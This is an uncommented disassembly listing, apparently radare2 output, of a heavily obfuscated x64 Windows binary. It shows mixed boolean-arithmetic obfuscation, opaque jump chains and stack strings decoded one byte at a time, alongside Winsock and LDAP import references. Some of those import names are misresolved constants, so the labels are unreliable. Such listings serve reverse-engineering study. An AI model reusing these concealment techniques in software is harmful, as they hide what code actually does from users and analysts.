jmp 0x1400da677
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400da45a
lea edx, [rdi - 0xa]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400da677
inc rax
cmp r8, rax
jne 0x1400da486
lea edx, [rdi + 0x1e]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400d9d13
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400da4ad
lea edx, [rdi + 0x46]
movzx eax, bl
and al, dl
mov ecx, ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400da6d3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400da1a1
lea edx, [rdi + 0x6e]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 2
jmp 0x1400da70a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400da50c
lea edx, [rdi + 0x48]
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9d13
inc rax
cmp r8, rax
jne 0x1400da52e
lea edx, [rdi + 0x70]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x10
jmp 0x1400da70a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400da555
lea edx, [rdi - 0x7c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400da6d6
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400da161
lea ecx, [rdi - 0x40]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x1400d9d13
lea edx, [rdi + 0x10]
movzx eax, bl
and al, dl
add al, al
movzx r11d, byte [rbp + rdi + 0x130]
sub r11b, al
sub r11b, 0x70
add r11b, bl
add r11b, dl
jmp 0x1400da6b5
lea edx, [rdi + 0x24]
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x1400da70a
lea ecx, [rdi + 6]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2a
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9d13
lea edx, [rdi - 0x22]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x12
jmp 0x1400da70a
lea edx, [rdi - 0x5e]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6e
add r11b, dl
jmp 0x1400da6b5
lea edx, [rdi - 0x72]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400d9d13
lea edx, [rdi + 0x66]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400da677
lea edx, [rdi + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea edx, [rdi - 0x7a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x130], cl
inc r9
dec rdi
inc rdi
jmp 0x1400d9d13
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
lea edx, [rdi - 0x66]
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x36
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x130], cl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d9d13
lea rdx, [rdi + r12]
movzx ebx, r10b
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6a
add r11b, dl
lea edx, [rdi - 0x52]
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x130], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x38]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x130], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9d13
lea rcx, [rdi + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x52
movzx eax, byte [rbp + rdi + 0x130]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d9d13
sub dil, 0x4e
movzx eax, bl
and al, dil
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
xor ebx, ebx
jmp 0x1400d9d10
sub dil, 0x62
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x52
xor ebx, ebx
jmp 0x1400d9d00
mov rax, qword [rbp + 0x14811e8]
jmp 0x1400da7fb
mov rax, qword [rbp + 0xba5972]
jmp 0x1400da7fb
mov rax, qword [rbp + 0x130]
cmp qword [0x1402ddd70], rax
je 0x1400da811
xor eax, eax
call rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [rbp + 0x200], 0xcb
mov byte [rbp + 0x201], 0xa4
mov byte [rbp + 0x202], 0xb9
mov byte [rbp + 0x203], 0xb6
mov byte [rbp + 0x204], 0x57
mov byte [rbp + 0x205], 0x56
mov byte [rbp + 0x206], 0x48
mov byte [rbp + 0x207], 0x5a
mov byte [rbp + 0x208], 0x54
mov byte [rbp + 0x209], 0x55
mov byte [rbp + 0x20a], 0x5b
mov byte [rbp + 0x20b], 3
mov byte [rbp + 0x20c], Ordinal_60
mov byte [rbp + 0x20d], 0x5a
mov byte [rbp + 0x20e], 0x41
mov byte [rbp + 0x20f], 0x40
mov byte [rbp + 0x210], 0x45
mov byte [rbp + 0x211], 0x45
mov byte [rbp + 0x212], 0xa
mov byte [rbp + 0x213], Ordinal_35
mov byte [rbp + 0x214], 0x42
mov byte [rbp + 0x215], 0xf5
xor eax, eax
mov qword [rbp + 0x216], rax
mov word [rbp + 0x21e], ax
mov byte [rbp + 0x220], al
movabs r14, 0xc389badcfa484f7c
movabs r15, 0xdfd791c4cc8acb5c
movabs r13, 0x58c41c0ad7fa2c64
movabs r12, 0x4a9d3096eed8ee74
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor eax, eax
mov ebx, eax
cmp rbx, 0x21
jae 0x1400db423
movzx edi, byte [rbp + rbx + 0x200]
mov r10, rdi
nop dword [rax]
cmp r8, rbx
ja 0x1400db41a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400da95c
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
sub r11b, 0x64
jmp 0x1400da995
je 0x1400db3ab
inc rax
cmp r8, rax
je 0x1400db345
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400db2fc
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400db2c8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400db2ae
cmp r9, rbx
ja 0x1400db411
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400da9be
lea ecx, [rbx + 0x2c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x34
jmp 0x1400da9f1
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400db262
inc rax
cmp r8, rax
je 0x1400db23d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400db221
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400db202
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400daf2d
nop
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400daf09
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400daee1
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400daebc
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dae9d
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400dae80
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400dae61
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dae42
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400dae28
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dadfd
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x10]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400db3f7
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400db3d8
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400dabc0
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400daba1
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400dab87
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400dadbd
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400dad75
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400dad30
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400dad0b
lea r8, [r9 + 5]
lea r9, [r8 + 2]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400dace0
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400dacc6
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400daca7
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400dac88
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400dac68
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400dac4a
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400dac2a
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400dac02
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400dabdf
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x400]
jmp 0x1400daa00
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4c
jmp 0x1400da9f1
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400da995
lea edx, [rbx + 0x64]
movzx eax, dl
and al, dil
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400da926
lea edx, [rbx + 0x60]
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx r10d, bl
jmp 0x1400db281
lea edx, [rbx + 0x68]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rbx
inc rbx
jmp 0x1400da914
lea ecx, [rbx + 0x70]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x10
dec rbx
inc rbx
jmp 0x1400da914
lea ecx, [rbx + 0x78]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x48
movzx r10d, bl
jmp 0x1400db1b7
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x80
add r8, r9
jmp 0x1400db2e3
lea edx, [rbx - 0x78]
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db2e3
lea edx, [rbx - 0x70]
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db319
lea ecx, [rbx - 0x68]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
jmp 0x1400db36b
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x60
movzx eax, byte [rbp + rbx + 0x200]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da914
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x6c
mov byte [rbp + rbx + 0x200], r11b
inc rbx
jmp 0x1400da914
lea edx, [rbx + 0x3c]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
cmp r9, 8
jb 0x1400dad20
movzx r10d, bl
lea ecx, [r10 + 0x68]
movzx eax, cl
and al, dil
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea r11d, [rdx + rdx]
jmp 0x1400db281
lea edx, [rbx + 0x44]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
cmp r8, 0x64
jae 0x1400db195
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x1400db10a
lea ecx, [rbx - 0x48]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 8
jmp 0x1400dad4a
lea ecx, [rbx + 0x4c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x14
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400db1e1
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400db002
lea edx, [rbx - 0x74]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1400dad83
lea ecx, [rbx + 8]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rbx + 0x200]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da914
lea ecx, [rbx + 0x10]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
jmp 0x1400db36b
lea edx, [rbx + 0x18]
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db319
lea edx, [rbx + 0x20]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db2e3
lea ecx, [rbx + 0x28]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
add r8, r9
jmp 0x1400db2e3
movzx r10d, bl
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
jmp 0x1400db1b7
lea edx, [rbx + 0x38]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x1400da914
lea edx, [rbx + 0x40]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rbx
inc rbx
jmp 0x1400da914
movzx r10d, bl
lea edx, [r10 + 0x48]
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db281
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400daf53
lea ecx, [rbx + 0x7c]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
jmp 0x1400dadd2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400daf87
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0x200]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da914
inc rax
cmp r8, rax
jne 0x1400dafa9
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x30
jmp 0x1400db36b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dafd1
lea edx, [rbx + 0x48]
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db319
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dadd2
movzx r10d, bl
lea edx, [r10 + 0x18]
movzx eax, dl
and al, dil
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db281
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400db02f
movzx r10d, bl
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db281
inc rax
cmp r8, rax
jne 0x1400db057
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x2c
dec rbx
inc rbx
jmp 0x1400da914
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400db082
lea edx, [rbx + 0x64]
movzx eax, dl
and al, dil
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
jmp 0x1400db2e3
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400db0aa
lea edx, [rbx + 0x5c]
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400db2e3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400db0cd
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4c
jmp 0x1400db319
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400dad8f
lea edx, [rbx + 0x44]
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0x200]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da914
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400db143
lea edx, [rbx - 0x50]
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0x200]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da914
inc rax
cmp r8, rax
jne 0x1400db165
lea ecx, [rbx - 0x60]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x60
jmp 0x1400db319
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dad4a
lea ecx, [rbx + 0x80]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x1400da914
movzx r10d, bl
lea edx, [r10 + 0x60]
movzx eax, dl
and al, dil
movzx ecx, byte [rbp + rbx + 0x200]
sub cl, al
add cl, 0x30
lea r11d, [rcx + rcx]
add r11b, dl
sub r10b, 0x24
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 4
add dil, r11b
add dil, r10b
mov byte [rbp + rbx + 0x200], dil
add r8, r9
jmp 0x1400db2e3
lea ecx, [rbx + 0x58]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x200]
lea r11d, [rdi + rcx]
sub r11b, 0x68
jmp 0x1400db319
lea edx, [rbx - 0xc]
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x1400db319
lea edx, [rbx - 4]
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
jmp 0x1400db2e0
lea edx, [rbx + 0x14]
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
dec rbx
inc rbx
jmp 0x1400da914
movzx r10d, bl
lea edx, [r10 + 0x24]
movzx eax, dil
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
sub r10b, 0x1c
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x3c
add dil, r10b
mov byte [rbp + rbx + 0x200], dil
inc r9
dec rbx
inc rbx
jmp 0x1400da914
lea ecx, [rbx + 0x54]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x4c
add r8, r9
jmp 0x1400db2e3
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400da914
lea rcx, [rbx + r13]
movzx edi, r10b
and r10b, cl
mov eax, Ordinal_35
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
lea edx, [rbx - 0x2c]
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dil
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x200], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400db36b
movabs rcx, 0xd1b0a650e3698d6c
add rcx, rbx
movzx edi, r10b
and r10b, cl
mov eax, 6
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
lea ecx, [rbx + 0x50]
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x30
add cl, dil
mov byte [rbp + rbx + 0x200], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x200]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da914
lea rcx, [rbx + r12]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x2c
movzx eax, byte [rbp + rbx + 0x200]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400da914
add bl, 0x6c
movzx eax, bl
and al, dil
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1400da910
add bl, 0x74
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x2c
jmp 0x1400da900
lea rcx, [rbp + 0x1556950]
jmp 0x1400db42a
lea rcx, [rbp + 0x11db8cc]
jmp 0x1400db42a
lea rcx, [rbp + 0x200]
call fcn.140040a00
mov byte [rbp + 0x150], Ordinal_217
mov byte [rbp + 0x151], 0xca
mov byte [rbp + 0x152], 0xf4
mov byte [rbp + 0x153], 0xf3
mov byte [rbp + 0x154], 0xf5
mov byte [rbp + 0x155], 0xf3
mov byte [rbp + 0x156], 0xc9
mov byte [rbp + 0x157], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], Ordinal_35
mov byte [rbp + 0x159], 0xf3
mov byte [rbp + 0x15a], 0xfb
mov byte [rbp + 0x15b], 0xf1
mov byte [rbp + 0x15c], 0xc1
mov byte [rbp + 0x15d], 0xf7
mov byte [rbp + 0x15e], 0x68
xor eax, eax
mov qword [rbp + 0x15f], rax
mov dword [rbp + 0x167], eax
movabs rsi, 0xf0f833b3d0b1ae51
movabs r15, 0xb4d9028313786795
movabs r14, 0xd2e89b1b72150af3
movzx r11d, byte [rbp + 0x3c0]
nop dword [rax]
mov r8, qword [0x1402e0428]
mov r9, qword [0x1402e0430]
nop
xor ebx, ebx
mov edi, ebx
cmp rdi, 0x1b
jae 0x1400dc02c
movzx ebx, byte [rbp + rdi + 0x150]
mov rdx, rbx
nop dword [rax]
cmp r8, rdi
ja 0x1400dc023
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400db52c
lea rcx, [rdi + rsi]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x37
jmp 0x1400db550
je 0x1400dbfb7
inc rax
cmp r8, rax
je 0x1400dbf60
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dbf26
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400dc01a
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400db578
lea ecx, [rdi - 0x5b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7d
jmp 0x1400db5c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dbf10
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dbef1
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dbec4
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400dbe87
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400dbe5d
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400dbaf0
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400dbad2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dbab0
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400dba91
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400dba74
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400dba58
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dba3a
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400dba21
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400dba03
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400db9d9
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400db5d0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400dbffe
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400dbfe2
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400db7b9
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400db7a0
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400db787
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400db994
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400db94b
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400db910
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400db8ec
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400db5d0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400db8bd
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400db8a4
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400db886
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400db868
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400db84c
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400db830
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400db811
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400db7ea
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400db7d1
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400db5d0
lea r8, [r9 + 1]
lea r9, [r8 + 0x42]
jmp 0x1400db5d0
lea ecx, [rdi - 5]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x23
jmp 0x1400db5c0
lea ecx, [rdi + 0x59]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6f
jmp 0x1400db550
lea ecx, [rdi - 0x49]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
dec r11b
jmp 0x1400db4f6
lea ecx, [rdi + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x1400dbf3a
lea edx, [rdi - 0x7a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
